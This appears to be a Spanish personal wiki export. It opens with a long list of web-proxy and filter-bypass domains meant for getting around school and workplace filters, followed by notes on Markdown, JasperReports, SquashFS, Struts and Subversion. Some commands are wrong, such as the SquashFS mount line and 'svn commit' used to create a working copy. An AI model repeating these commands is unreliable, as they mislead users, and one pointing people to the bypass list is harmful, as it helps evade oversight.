* http://universitylive.info
* http://universityloanblog.info
* http://universityloanhome.info
* http://universityloanlive.info
* http://universityloanonline.info
* http://universityloansite.info
* http://universityloanweb.info
* http://universitymortgage.info
* http://universityonlinecredit.info
* http://universityonlineloan.info
* http://universitysneak.info
* http://universitystudent.info
* http://universitysucks.info
* http://unknownaccess.info
* http://unknownlive.info
* http://unknownman.info
* http://unknownnet.info
* http://unknownonline.info
* http://unknownpc.info
* http://unknownsurfer.info
* http://unknownweb.info
* http://unlimited-browsing.com
* http://unlock-bebo.info
* http://unlock.hu
* http://unlock100.com
* http://unlock69.com
* http://unlockbrowse.info
* http://unlocker.us
* http://unlockernet.info
* http://unlockformyspace.info
* http://unlockit.net
* http://unlockm8.com
* http://unlocknsurf.com
* http://unlocksite.info
* http://unlocksitesnow.info
* http://unlocktheblocks.info
* http://unlockthelocks.info
* http://unlockweb.org
* http://unlockyourweb.com
* http://unluckyadmin.com
* http://unprohibited.org
* http://unrealproxy.com
* http://unsealsites.info
* http://unsealtheweb.info
* http://unseenip.com
* http://upproxy.info
* http://uprox.info
* http://upscaleproxy.com
* http://urbypass.info
* http://url1.biz
* http://urlpop.com
* http://urlpop.info
* http://uroxy.info
* http://urunblocked.info
* http://usasurf.info
* http://usatunnel.com
* http://useport80.info
* http://usneak.info
* http://uspot.info
* http://v-pass.info
* http://v-tunnel.org
* http://v4f.info
* http://valleycollege.info
* http://valleyschool.info
* http://vaproxy.info
* http://vaq.in
* http://vaseek.com
* http://vaseek.info
* http://vaultip.com
* http://vcamo.com
* http://veloxproxy.com
* http://veryfasttunnel.info
* http://veryproxy.cn
* http://vhhf.com
* http://vhide.info
* http://viame.info
* http://videoproxy.tv
* http://videounblocker.info
* http://viewa.info
* http://viewatcollege.info
* http://viewatschool.info
* http://viewbebo.info
* http://viewcollege.info
* http://viewconcealed.info
* http://viewfacebook.info
* http://viewnow.info
* http://viewp.info
* http://viewthemall.info
* http://viewthenet.info
* http://viewtheweb.info
* http://vip-surf.info
* http://vipproxy.info
* http://viroxy.com
* http://virtual-browser.com
* http://virtualdancenow.info
* http://virtualoxy.com
* http://virtualoxy.info
* http://virtualtunnel.info
* http://virtualunblocker.info
* http://visacadr.com
* http://vision-rapid.info
* http://vision-utopia.info
* http://visitbyproxy.info
* http://vitalunblocker.info
* http://vivaproxy.net
* http://vline.info
* http://vmathpie.com
* http://voip-counter.info
* http://voip-pulse.info
* http://votefriendster.com
* http://vpnproxy.info
* http://vpntunnel.net
* http://vppn.co.uk
* http://vprox.info
* http://vroxi.com
* http://vroxy.info
* http://vsneak.info
* http://vtunnel.com
* http://w-pass.info
* http://w-tunnel.com
* http://w0t.us
* http://w1z44rdy.com
* http://w3privacy.com
* http://wadup.info
* http://wallhopper.info
* http://wallrazor.com
* http://wallstreet-domain.info
* http://wampo.info
* http://waslo.info
* http://watch-wallstreet.info
* http://watchbypass.info
* http://wayaroundit.info
* http://waythru.com
* http://wazam.info
* http://wazlo.info
* http://we-cheat-u-by.info
* http://we-cheat-you-by.info
* http://we-prowl-u-by.info
* http://we-prowl-you-by.info
* http://we-sneak-u-by.info
* http://weallsurf.net
* http://weanonymous.info
* http://web-proxy.ca
* http://webanonymous.info
* http://webbounce.com
* http://webdancenow.info
* http://webevader.com
* http://webevader.info
* http://webevader.net
* http://webfilterbypass.com
* http://weboogle.info
* http://webprowl.info
* http://webproxy.250.com.au
* http://webproxy.ca
* http://webproxy.nu
* http://webproxyplus.info
* http://webschool69.info
* http://websenseavoid.com
* http://websensebypass.com
* http://websiteproxy.org
* http://websitesurf.info
* http://websiteunblockers.info
* http://websmashers.info
* http://websnag.info
* http://websneak.info
* http://websneek.info
* http://websneeker.info
* http://websurfpro.info
* http://webtechi.info
* http://webthruproxy.com
* http://webunblockers.info
* http://webunblocks.info
* http://webunknown.info
* http://webunlocker.com
* http://wecheatuby.info
* http://wecheatyouby.info
* http://wehidesites.com
* http://welcometosurf.cn
* http://wepass.info
* http://weprowluby.info
* http://weprowlyouby.info
* http://weprox.com
* http://weprox.info
* http://werdup.info
* http://wergo.info
* http://wesho.info
* http://wesneakuby.info
* http://wesneakyouby.info
* http://wesneakyoubyblog.info
* http://wesneakyoubyhome.info
* http://wesneakyoubylive.info
* http://wesneakyoubyonline.info
* http://wesneakyoubysite.info
* http://westcollege.info
* http://wesurf.info
* http://wgchacks.net
* http://whaledance.com
* http://whatafun.info
* http://whatfilter.com
* http://whatisproxy.cn
* http://whereiscollege.info
* http://wheresurf.info
* http://whide.info
* http://whoamg.info
* http://whosmarcus.info
* http://whybrowse.info
* http://wickedzurf.info
* http://wieedo.info
* http://wildlema.com
* http://wildproxy.net
* http://wildsurfer.info
* http://wildtunnel.com
* http://wildtunnel.info
* http://windowsurf.info
* http://windproxy.info
* http://winnerproxy.info
* http://wipemy.info
* http://wisdomhelp.info
* http://witchproxy.info
* http://witchsurf.info
* http://wmz-market.ru
* http://wonderfulunblocker.info
* http://wondersurf.info
* http://wooksrest.net
* http://woots.info
* http://work-friendster.info
* http://work-torrent.info
* http://workanonymous.info
* http://workescape.info
* http://workstudyplay.com
* http://worlddigger.com
* http://worldwideproxy.com
* http://worldwideunblocker.info
* http://worstofevils.com
* http://wough.info
* http://wprox.info
* http://wroxy.info
* http://wsneak.info
* http://wst.st
* http://wtunnel.com
* http://wudd.info
* http://wudup.info
* http://wwwfilter.info
* http://wwwill.cn
* http://wwwproxy.info
* http://x-pass.info
* http://x28.org
* http://x7web.com
* http://xamal.com
* http://xamal.org
* http://xef.in
* http://xev.in
* http://xew.in
* http://xfunnel.com
* http://xlip.info
* http://xoy.in
* http://xprox.info
* http://xproxy.biz
* http://xproxyx.info
* http://xroxy.info
* http://xsneak.info
* http://xxunblockxx.info
* http://y-pass.info
* http://yahoosurf.info
* http://yamp.info
* http://yayproxy.info
* http://yeg.in
* http://yhide.info
* http://yline.info
* http://yokid.info
* http://yomyspace.info
* http://yoo.in
* http://youanonymous.info
* http://youcantbestopped.info
* http://yougetaround.info
* http://youhide.com
* http://youneverknew.com
* http://youranonymous.info
* http://yourasneak.info
* http://yourbaseballpro.info
* http://yourbypass.net
* http://yourcloak.info
* http://yourdirect.info
* http://yourfreeproxy.com
* http://yourgate.info
* http://yourhiddensurf.info
* http://yourhighschool.info
* http://yourinternetprivacy.info
* http://yourinvisible.info
* http://yourninja.info
* http://youronlineprivacy.info
* http://yourpretty.info
* http://yourprxy.com
* http://yourprxy.info
* http://yourschoolloan.info
* http://yoursoccerpro.info
* http://yourunblock.info
* http://yourunblockcode.info
* http://yourunknown.info
* http://yourunlocker.info
* http://yourwebbypass.info
* http://yourwebunblock.info
* http://youtubeproxy.ws
* http://youtubesurf.info
* http://youtubeunblock.com
* http://ypoint.info
* http://yprox.info
* http://yroxy.info
* http://ysneak.info
* http://yspot.info
* http://ytproxy.com
* http://ytproxy.info
* http://ytproxy.org
* http://yxorp.biz
* http://yxorpproxy.com
* http://yxorproxy.com
* http://z-pass.info
* http://z8z.info
* http://z95.org
* http://zain248.info
* http://zawwa.info
* http://zearchers.info
* http://zeeproxy.info
* http://zelj.com
* http://zelune.biz
* http://zend3.info
* http://zendproxy.com
* http://zeroproxy.com
* http://zeroproxy.info
* http://zetproxy.com
* http://zhide.info
* http://zidev.com
* http://zipproxy.info
* http://ziprox.info
* http://zoinks.info
* http://zojg.com
* http://zolly.info
* http://zooprox.info
* http://zorg-proxy.com
* http://zpoint.info
* http://zprox.info
* http://zroxy.info
* http://zsneak.info
* http://ztunnel.com
* http://zurfant.info
* http://zurfweasel.info
* http://zurfzone.info
<<tabs txtMainTab "Timeline" "Timeline" TabTimeline "All" "All tiddlers" TabAll "Tags" "All tags" TabTags "More" "More lists" TabMore>>
/***
|Name:|SimpleTreePlugin|
|Description:|Creates a tree of tags. Inspired by TagsTreePlugins but complety redone|
|Version:|1.0 ($Rev: 1 $)|
|Author:|Rubén C. J.|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Description
This plugin is creates a tree of tags. It has been inspired by TagsTreePlugin, but I make it in my way.
!Examples:
[[SimpleTreePluginDemo]]
!Code
***/
//{{{
config.macros.simpleTree= {};
config.macros.simpleTree.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
/*
//Check parameters
var prms = paramString.parseParams("anon", null, true);
var useName = getParam(prms, "useName") || true;
var inheritTags = getParam(prms, "inheritTags") || false;
var excludeTag = getParam(prms, "excludeTag") || "";
var debug_on = getParam(prms, "debug_on") == "true";
//Take tags from parent
var tags_str = "";
if (inheritTags) {
for (var i = 0; i < tiddler.tags.length; i++) {
if (tiddler.tags[i].trim() != excludeTag.trim()) {
tags_str += "tag:[["+tiddler.tags[i]+"]] ";
}
}
}
//Use tiddler name as tag
if (useName) {
tags_str += "tag:[["+tiddler.title+"]] ";
}
//Debug
if (debug_on) {
var debug_msg = "";
//debug_msg += "\n- params("+typeof params+"): '"+params+"'";
debug_msg += "\n- paramString-> "+paramString;
debug_msg += "\n- Tags-> "+tiddler.tags;
debug_msg += "\n- tags_str-> "+tags_str;
debug_msg += "\n- excludeTag-> "+excludeTag;
debug_msg += "\n- useName-> "+useName;
alert(debug_msg);
}
*/
wikify("<<newTiddler "+paramString+" "+tags_str+" >>",place,null,tiddler);
};
//}}}
''Nota:'' Esta entraba es básicamente un resumen de la excelente [[guía de debug_mode=on|http://es.debugmodeon.com/articulo/sintaxis-de-markdown]] con añadidos extraídos de la [[página principal de los creadores del lenguaje|http://daringfireball.net/projects/markdown/syntax]].
!Introducción
Markdown es un lenguaje utilizado principalmente en wikis y blogs para formatear el texto. Se diferencia del [[HTML]] en que es mucho más sencillo de usar, más facil de leer y de escribir, pero también es mucho menos flexible. El texto con el formato de Markdown es convertido automáticamente a [[HTML]] a la hora de visualizar el documento, pero el código original es siempre accesible a la hora de editarlo.
Otra característica destacable es que el texto es fácilmente legible también si se envía por email. De hecho se utilizan muchas características que se suelen utilizar en el correo electrónico, como citar en bloque con {{{>}}} o subrayar texto para denotar títulos.
Al contrario que otros lenguajes de marcado similares, Markdown permite incrustar código [[HTML]] en cualquier lugar del documento. No obstante, no es muy recomendable abusar de esta capacidad.
! Generalidades
!! Caracteres especiales
Contrariamente a lo que sucede con [[HTML]], Markdown detecta cuando los caracteres {{{<}}} y {{{&}}} se utilizan como parte de elementos html o como parte de palabras y en el segundo caso convierte los caracteres en las entidades equivalente {{{<}}} y {{{&}}}.
!! Párrafos y saltos de línea
En Markdown, un párrafo es un bloque de texto separado por una o más líneas en blanco. En caso de querer forzar un salto de línea entre líneas de texto consecutivas, se pueden insertar dos o más espacios al final de una línea, y serán implícitamente convertivos a {{{<br/>}}}.
!!Escapado de caracteres especiales
Para poder utilizar caracteres reservados como texto normal se pueden o bien poner como una entidad HTML o es puede anteponer una barra invertida {{{\}}}. Por ejemplo:
{{{
Este texto \*no esta en cursiva\*
}}}
! Formato del texto
!! Encabezados y títulos
Hay dos formas de definir títulos:
* Mediante subrayado: Permite sólo definir títulos de tipo H1 y H2 escribiendo una línea de caracteres en la línea siguiente a donde se haya escrito el título, {{{=}}} para H1 y {{{-}}} para H2:
{{{
Soy un título H1
================
Soy un título H2
----------------
}}}
* Con símbolos {{{#}}}: Anteponiendo tantos {{{#}}} como nivel tenga el título. También se pueden poner {{{#}}}, que no serán mostrados. Ejemplo:
{{{
# Titulo 1
## Titulo 2 ##
### Titulo 3 #########
}}}
!! Negritas y cursivas
Para marcar palabras en cursiva, se deben encerrar entre un único '{{{*}}}' o un '{{{_}}}'. Ejemplo:
{{{
Texto normal y *texto en cursiva* otra vez normal _y de nuevo en cursiva_
}}}
Para marcar palabras en negrita se encienrran con '{{{*}}}' ó '{{{_}}}' dobles:
{{{
Texto normal y **texto en negrita** otra vez normal __y de nuevo en negrita__
}}}
!! Código fuente en línea
Para incluir fragmentos de código fuente se pone entre comillas invertidas {{{`}}}. Ejemplo:
{{{
Texto normal `codigo fuente *no* interpretado` otra vez normal
}}}
Si el código fuente contiene alguna comilla invertida, deben encerrarse entre comillas invertidas dobles:
{{{
Texto normal ``con código fuente que utiliza ` en su interior`` y otra vez normal.
}}}
!Formato del documento
!! Listas no numeradas
Se pueden definir listas no numeradas comenzando un grupo de líneas consecutivas por '{{{* }}}', '{{{+ }}}' ó '{{{+ }}}'. Ejemplo:
{{{
* Elemento
* Otro elemento
+ Una cosa
+ Otra cosa
- Pijorro
- Pichorro
}}}
!! Listas numeradas
Las listas numeradas se definen de forma similar a las no numeradas, pero empezando por un número seguido de un punto y un espacio. Los números no tienen por qué estar ordenados, Markdown se encargará de ordenarlos a la hora de visualizar. Ejemplo:
{{{
1. Primer elemento
2. Segundo elemento
4. Tercer elemento
}}}
!! Comentarios en bloque
Para introducir un comentario en bloque hay que comenzar la línea por {{{>}}}. Se pueden anidar poniendo más {{{>}}} y además puede contener cualquier otro formateo, como código fuente o negritas. Ejemplo:
{{{
>Texto citado
>más texto citado
>>texto citado de nivel dos
>>y ahora con **negritas** y `codigo fuente`
>* Hasta listas
>* de todo tipo
}}}
!! Bloques de código fuente
Se puede instar un bloque de código fuente simplemente empezando la línea por 4 espacios. Ejemplo:
{{{
Lo siguiente es código fuente (en *python* concretamente):
a = 5
b = 20
c = 67
print a *b* c
esto ya no es código fuente
}}}
!! Líneas horizontales
Simplemente hay que escribir 3 o más asteriscos o guiones. Los siguientes ejemplos producirán sendas barras horizontales:
{{{
* * *
***
*****
- - -
---------------------------------
}}}
! Enlaces
Markdown soporta varias formas distintas de definir enlaces, ¡y todas son más sencillas que utilizar un {{{<a href="" ></a>}}}! Algo común a todas es que el texto a mostrar se escribe siempre entre corchetes: {{{[loquesea esta url]}}}.
!! Enlaces simples
Es muy sencillo, se pone el texto entre corchetes y la URL entre paréntesis. Ejemplo:
{{{
[pincha aquí](http://google.es)
}}}
!! Enlaces automáticos
Poniendo una URL o una dirección de correo electrónico entre paréntesis angulares({{{<}}} y {{{>}}}) se genera automáticamente un enlace:
{{{
<http://exaple.com>
<aaa@ggg.ccc>
}}}
!! Enlaces a imágenes
Es similar a los enlaces simples, pero con un {{{!}}} delante:
{{{

}}}
!Parámetros (params)
Se utilizan para pasarle datos a la consulta SQL
!!Declaración de parámetros
{{{
<parameter name="NombreParametro" class="java.lang.String"/>
}}}
!!Uso en la consulta SQL como parámetro de PreparedStatement:
Según la clase del parámetro se formateará y usará de la forma adecuada. Ejemplo:
{{{
select * from tabla where columna = $P{NombreParametro};
}}}
!!Uso en la consulta SQL como "texto en bruto":
Se introduce sin interpretar. Es ideal para introducir trozos de código SQL. Ejemplo:
{{{
select * from tabla where $P!{Condicion};
}}}
!Campos (fields)
Se utilizan para mostrar los resultados de la búsqueda en el informe. Suelen corresponderse con las columnas que devuelve la consulta SQL. Son similares a la declaración de propiedades de Hibernate.
!!Declaración de campos
{{{
<field name="NombreCampo" class="java.lang.Integer"/>
}}}
!!Uso de los campos
Se utilizan dentro de expresiones. Su uso es parecido a las expresiones de JSTL, pero poniendo la letra F entre el símbolo del dolar {{{$}}} y los corchetes. Ejemplo de uso de dos campos concatenados con un espacio en medio:
{{{
<textFieldExpression>
$F{NombreCampo} + " " + $F{OtroCampo}
</textFieldExpression>
}}}
!Variables
Sirven para simplificar las expresiones y almacenar datos temporales. Una variable puede declararse como el resultado de una expresión compleja gracias a un {{{<variableExpression>}}}, donde se indica una expresión.
Las variables pueden realizar automáticamente ciertos cálculos, como sumas o conteosm, según se indique en la propiedad "calculation".
Las variables funcionan más como macros que como variables clásicas. Esto es, el valor que calcula cada vez que se utilizan según lo definido en {{{<variableExpression>}}} y la operación definida en la propiedad "calculation". Además, se les puede definir un valor inicial mediante una expresión {{{<initialValueExpression>}}}.
También permite utilizar la propiedad "resetType" que indica cada cuanto se recalcula el valor. Por ejemplo, si vale "Page", se recalcula en cada página.
!! Declaración de variables.
Ejemplo de cálculo del sumatorio de valores de un campo llamado "Quantity":
{{{
<variable name="QuantitySum" class="java.lang.Double" calculation="Sum">
<variableExpression>$F{Quantity}</variableExpression>
</variable>
}}}
Ejemplo de variable con ambos tipos de expresiones:
{{{
<variable name="QuantitySum" class="java.lang.Double" resetType="Page" calculation="Sum">
<variableExpression>$F{Quantity}</variableExpression>
<initialValueExpression>new Double(0) </initialValueExpression>
</variable>
}}}
!!Variables predefinidas
Algunas variables se encuentran accesibles de forma general y están definidas por defecto:
* {{{$V{PAGE_NUMBER} }}}
* {{{$V{COLUMN_NUMBER} }}}
* {{{$V{REPORT_COUNT} }}}
* {{{$V{PAGE_COUNT} }}}
* {{{$V{COLUMN_COUNT} }}}
* {{{$V{GroupName_COUNT} }}}
!Expresiones
Permiten código generado de forma dinámica dentro de un informe. Es similar a las etiquetas {{{<% %>}}} dentro de un JSP, y permiten tanto el uso de campos como de código Java. El código introducido dentro de estas secciones será interpretado por el parseador de JasperReports, y permiten utilizar campos ({{{$F}}}), parámetros ({{{$P}}}) y variables ({{{$V}}}).
!!Tipos de expresiones
Tipos de expresiones posibles
* {{{<variableExpression>}}}: Permite especificar el valor de una variable.
* {{{<initialValueExpression>}}}:
* {{{<groupExpression>}}}:
* {{{<printWhenExpression>}}}:
* {{{<imageExpression>}}}:
* {{{<textFieldExpression>}}}: Especifica el contenido de un campo de texto.
!Secciones
Los reportes muestran los datos en distintas zonas, llamadas secciones. Cada sección tiene una función diferente dentro del reporte: encabezado de página, resumen, tabla de datos, etc. Las posibles secciones son las siguientes:
* {{{<background>}}}
* {{{<title>}}}
* {{{<pageHeader>}}}
* {{{<columnHeader>}}}
* {{{<groupHeader>}}}
* {{{<detail>}}}
* {{{<groupFooter>}}}
* {{{<columnFooter>}}}
* {{{<pageFooter>}}}
* {{{<lastPageFooter>}}}
* {{{<summary>}}}
* {{{<noData>}}}
!Descripción
Apuntes sobre
!Apuntes rápidos
*
!Enlaces interesantes
* Redes de área de almacenamiento: http://es.wikipedia.org/wiki/Red_de_%C3%A1rea_de_almacenamiento
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Introducción
Diferentes tipos de sistemas de ficheros.
!Tipos
!!Propósito general
<<forEachTiddler
where 'tiddler.tags.contains("Sistemas de ficheros")
&& tiddler.tags.contains("sfGeneral")
&& !tiddler.tags.contains("plantilla")'>>
!!Comprimidos
<<forEachTiddler
where 'tiddler.tags.contains("Sistemas de ficheros")
&& tiddler.tags.contains("sfComprimido")
&& !tiddler.tags.contains("plantilla")'>>
!!Union de sistemas de ficheros y sistemas en capas
<<forEachTiddler
where 'tiddler.tags.contains("Sistemas de ficheros")
&& tiddler.tags.contains("sfCapas")
&& !tiddler.tags.contains("plantilla")'>>
!!Sistemas de ficheros en red y/o paralelos
<<forEachTiddler
where 'tiddler.tags.contains("Sistemas de ficheros")
&& tiddler.tags.contains("sfRed")
&& !tiddler.tags.contains("plantilla")'>>
<<newChild
title:"<nuevo_sistema_ficheros>"
label:"Nuevo sistema de ficheros"
prompt:"Crea un nuevo sistema de ficheros"
tag:[[Sistemas de ficheros]]
tag:[[SO]]
tab:[[incompleto]]
text:{{store.getTiddlerText("<plantilla_sistemas_de_ficheros>")}}
>>
!! Pendiente de revisar
http://www.linux-mag.com/cache/7357/1.html
http://hardware.slashdot.org/article.pl?sid=09/02/11/2035211
http://linux.slashdot.org/article.pl?sid=09/02/21/1332208
http://bisqwit.iki.fi/source/cromfs.html#compare
http://www.linux-mag.com/cache/7399/1.html
http://valerieaurora.org/chunkfs/
http://www.ibm.com/developerworks/linux/library/l-nilfs-exofs/index.html?ca=dgr-lnxw57NiLFS-exofs&S_TACT=105AGX59&S_CMP=grlnxw57
http://en.wikipedia.org/wiki/ExFAT
He aqui mi memoria externa
!!! Descripción
SquashFS es un sistema de ficheros de solo lectura y comprimido, que soporta muchas características (prácticamente todos los aspectos de un sistema de ficheros moderno: es exportable, soporta ACL, Hard Links, [little endian|http://en.wikipedia.org/wiki/Endian#Little-endian]] y [[big endian|http://en.wikipedia.org/wiki/Endian#Big-endian]], archivos de más de 2GiB. Utiliza [[gzip|http://www.gzip.org/]] para las operaciones de compresión.
Al igual que CramFS está orientado a ser utilizado en sistemas de sólo lectura, como chips de memoria ROM para sistemas empotrados, pero puede ser utilizado también para otros menesteres, como por ejemplo comprimir directorios como si de un ZIP se tratara.
!!! Creación de un sistema de ficheros SquashFS
Es muy sencillo crear un FS mediante la herramienta [[mksquashfs|http://tldp.org/HOWTO/SquashFS-HOWTO/mksqoverview.html#mksqusing]]. La sintaxis básica es muy sencilla:
{{{
mksquashfs source1 source2 ... destination [options]
}}}
Por ejemplo, para comprimir el directorio {{{/home/ruben/documentos}}} en un archivo {{{comprimido.sqfs}}}:
{{{
mksquashfs /home/ruben/documentos comprimido.sqfs
}}}
El contenido se puede extraer de nuevo mediante la herramienta [[unsquashfs|http://tldp.org/HOWTO/SquashFS-HOWTO/mksqoverview.html#unsquashing]]. La sintaxis básica es igualmente sencilla (target es el sistema squash):
{{{
unsquashfs [options] target [files/directories to extract]
}}}
Por ejemplo, para extraer el fichero creado en el ejemplo anterior:
{{{
unsquashfs -f -d /home/ruben/documentos comprimido.sqfs
}}}
!!! Uso junto con un sistema de ficheros de unión o en capas
Una aplicación interesante de SquashFS es utilizarlo como "sistema base" y utilizar un sistema de ficheros adicional para "sobreescribir encima". Esto es, el sistema de ficheros SquashFS es inmodificable y se puede almacenar en un sistema de sólo lectura, como un CD, pero se puede usar otro sistema de ficheros del estilo de UnionFS para poner una capa por encima del sistema base. Las modificaciones que se hagan en esa capa se superponen al contenido del sistema de sólo lectura.
Esto es muy interesante para llevar, por ejemplo, una distribución live de Linux en un CD y usar una llave USB para guardar los cambios. Si no se dispone de la llave USB, el sistema de ficheros que percibirá el usuario será el del CD, pero si introduce la llave USB podrá guardar los cambios que haga en la misma.
En el [[howto|http://tldp.org/HOWTO/SquashFS-HOWTO/creatingandusing.html#sqwrite]] explica bastante bien como usar juntos los dos sistemas de ficheros. Lo pasos a seguir sería los siguientes:
* Crear el sistema SquashFS con {{{mksquashfs}}}
* Montar el sistema de ficheros. Si hemos creado el sistema sobre un fichero, se puede hacer de la siguiente manera:
{{{
mount -t comprimido.sqfs /mnt -o loop
}}}
* Montar el unionFS. En el siguiente ejemplo se utilizará un directorio {{{/home}}} almacenado en una llave USB montada en {{{/media/USB-key}}}, y se montará sobre el {{{/home}}} de SquareFS ({{{/mnt/home}}}):
{{{
mount -t unionfs -o dirs=/media/USB-key/home=rw:/mnt=ro unionfs /mnt/home
}}}
* A partir de ahora, todos los cambios que se hagan sobre {{{/mnt/home}}} se guardarán en {{{/media/USB-key/home}}}.
!!! Enlaces
* http://www.tldp.org/HOWTO/SquashFS-HOWTO/
* http://squashfs.sourceforge.net/
* http://www.linux-mag.com/cache/7357/1.html
* http://elinux.org/Squash_Fs_Comparisons#Damn_Small_Linux_liveCD_performance_tests (comparativa con CramFS)
* http://bisqwit.iki.fi/source/cromfs.html#compression (comparativa con CromFS)
* http://www.linux-mag.com/id/7409
!Descripción
Apuntes sobre Struts
!Apuntes rápidos
* Tag libs habituales:
{{{
<%@ taglib uri="http://displaytag.sf.net" prefix="display" %>
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html"%>
<%@ taglib uri="http://struts.apache.org/tags-bean" prefix="bean" %>
<%@ taglib uri="http://struts.apache.org/tags-logic" prefix="logic"%>
<%@ taglib uri="http://struts.apache.org/tags-tiles" prefix="tiles" %>
<%@ taglib uri="http://jsptags.com/tags/navigation/pager" prefix="pg" %>
}}}
!Enlaces interesantes
* http://struts.apache.org/1.2.x/userGuide/struts-html.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
*Nota: Para los ejemplos se usará el programa "svn" en línea de comandos. Los programas gráficos tienen funciones equivalentes, pero pulsando un botoncejo en vez de con una órden del sistema*
Pero, ¿que es esta mierda?
==========================
Subversion (SVN) es un repositorio de código que permite que varios programadores modifiquen partes distintas en local, y después suban sus cambios al servidor para que cualquiera pueda verlos.
Todas las modificaciones llevan un número de revisión autoincremental, que permite deshacer los cambios sobre un fichero y recuperarlo tal cual estaba en determinada versión.
Al contrario que otros sistemas similares, SVN permite que varias personas modifique a la vez el mismo archivo. Cuando esto pasa, se produce un "conflicto" que hay que resolver manualmente.
Es importante darse cuenta de que SVN trabaja con diferencias de ficheros. Esto es, cuando actualizas los archivos no se baja los ficheros completos si no es necesario, si no que se baja los cambios y los aplica a la copia actual. Y al contrario, al subir los cambios al servidor se envía un diff entre el archivo que te bajaste y el que has modificado.
Empezando
=========
Antes de nada
-------------
Todas las operaciones se harán con el programa `svn`. El comando mágico cuando no se sepa que hacer es "svn help", que muestra un resumen de los comandos y una breve descripción de que hace dada uno.
Los comandos más habituales tiene alias cortos, que son lo que se muestra entre paréntesis. Por ejemplo, es lo mismo hacer `svn help` que `svn h`.
Obteniendo el código
--------------------
Lo primero que hay que hacer es obtener una copia completa del código almacenado en el servidor. A esta operación se la denomina "check out".
Para hacerlo con nuestro repositorio tan solo hay que lanzar el comando siguiente desde la carpeta donde se quiere almacenar:
svn checkout http://svn6.assembla.com/svn/ASF
Esto descargará la última versión del servidor y dejará la copia local lista para empezar a trabajar.
Estructura de directorios
-------------------------
En el directorio raiz se habrán descargado 3 carpetas principales:
- **trunk:** Contiene la última copia del código fuente disponible para todo el mundo. Cuando alguien quiere bajarse el código para compilar y usar, se descarga esta carpeta. Puede ser la única carpeta en algunos proyectos sencillos.
- **tags:** Aquí se guardan las distintas versiones del programa. Cada vez que se hacen cambios gordos, se guarda una copia, generalmente con el nombre de la versión. Por ejemplo "2.0.1"
- **branches:** Aquí se crean las ramas de desarrollo. Una rama puede ser la implementación de una nueva funcionalidad o un correctivo. Una vez completado el trabajo sobre una rama, se copian los cambios a la copia en trunk.
Nótese que además del código fuente, se habrán generado una serie de carpetas ocultas llamadas ".svn". Dentro están todos los metadatos que permiten saber si se ha modificado el fichero, si se debe subir al servidor, etc. No es recomendable modificar su contenido manualmente.
Para extraer los ficheros sin los directorios .svn (por ejemplo, para guardar una copia de seguridad o construir un entregable), se debe hacer una exportación. Es muy sencillo de realizar con el siguiente comando:
svn export <directorio_destino>
Copiará todo el contenido del directorio donde se ejecute a `<directorio-destino>`, ¡pero sin los fastidiosos directorios .svn!
Trabajando con SVN
==================
Editando la copia local
-----------------------
Una vez descargada la copia local para empezar a editar el código no hay que hacer nada más, sencillamente se empieza a modificar. Eso si, es recomendable actualizar los cambios del servidor en la copia local cada poco tiempo, para no trabajar sobre una copia antígua del código fuente.
Actualizando con los cambios del servidor
-----------------------------------------
Para actualizar los cambios del servidor a la copia local hay que ejecutar dento del directorio raiz de la copia local lo siguiente:
svn update
Subiendo los cambios
--------------------
Una vez que se han hecho los cambios y la modificación es estable y compila (esto no es necesario, pero igual tus compañeros te cortan un poco los huevos), se pueden subir al servidor con el siguiente comando:
svn commit
Esta acción pedirá que se escriba una breve descripción de lo que se ha modificado en el archivo. Es opcional, y se puede dejar vacío, pero es realmente útil para poder hacer un seguimiento de los cambios.
Una vez completado, los cambios estarán disponibles para todos los usuarios del servidor.
Añadiendo ficheros nuevos
-------------------------
SVN no envía al servidor ficheros nuevos creados dentro de la copia local, lo cual está muy bien, porque te permite tener ficheros de configuración o de pruebas que no se subirán al servidor. Los ficheros nuevos se tienen que añadir explicitamente con el siguiente comando:
svn add <nombre_fichero>
Se pueden usar comodines para elegir varios ficheros. Una vez añadido, se subirán en el próximo `svn commit`.
Eliminando ficheros
-------------------
De forma similar a como se añade se pueden eliminar
svn delete <nombre_fichero>
También habrá que hacer `svn commit` para confirmar los cambios.
Resolviendo conflictos
----------------------
Un conflicto es cuando dos personas han modificado el mismo archivo a la vez. En ese caso hay que resolver el conflicto a mano. SVN creará dos ficheros de conflicto, cada uno con sus cambios y con el número de revisión de cada uno como subfijo, para poder identificarlos.
*Nota: La manera que conozco de solventar conflictos quizás no sea la más sofisticada, pero funciona y como es la única que me se, es la que voy a plasmar.*
En caso den encontrar un conflicto habría que seguir los siguientes pasos:
1. Hacer un `svn update` para bajar la última copia del servidor
2. Copiar a mano sobre el fichero recien actualizado los cambios que se quieran aplicar, o bien utilizar una herramienta de diff (como KDiff3)
3. Hacer commit del fichero recien modificado y borrar los de conflicto.
Para evitar conflictos se recomienda hacer `svn update` de forma regular, sobre todo antes de empezar a modificar un fichero.
Ejemplo de uso típico
=====================
Veamos como se trabajaría normalmente con SVN, creando un proyecto desde cero:
- Lo primero que hay que hacer es crear la copia de trabajo local (working copy) mediante el siguiente comando:
svn commit http://svn6.assembla.com/svn/ASF
- Se crear los ficheros que vaya a contener el proyecto y se añaden con:
svn add <nombre_ficheros>
- Se suben al servidor:
svn commit
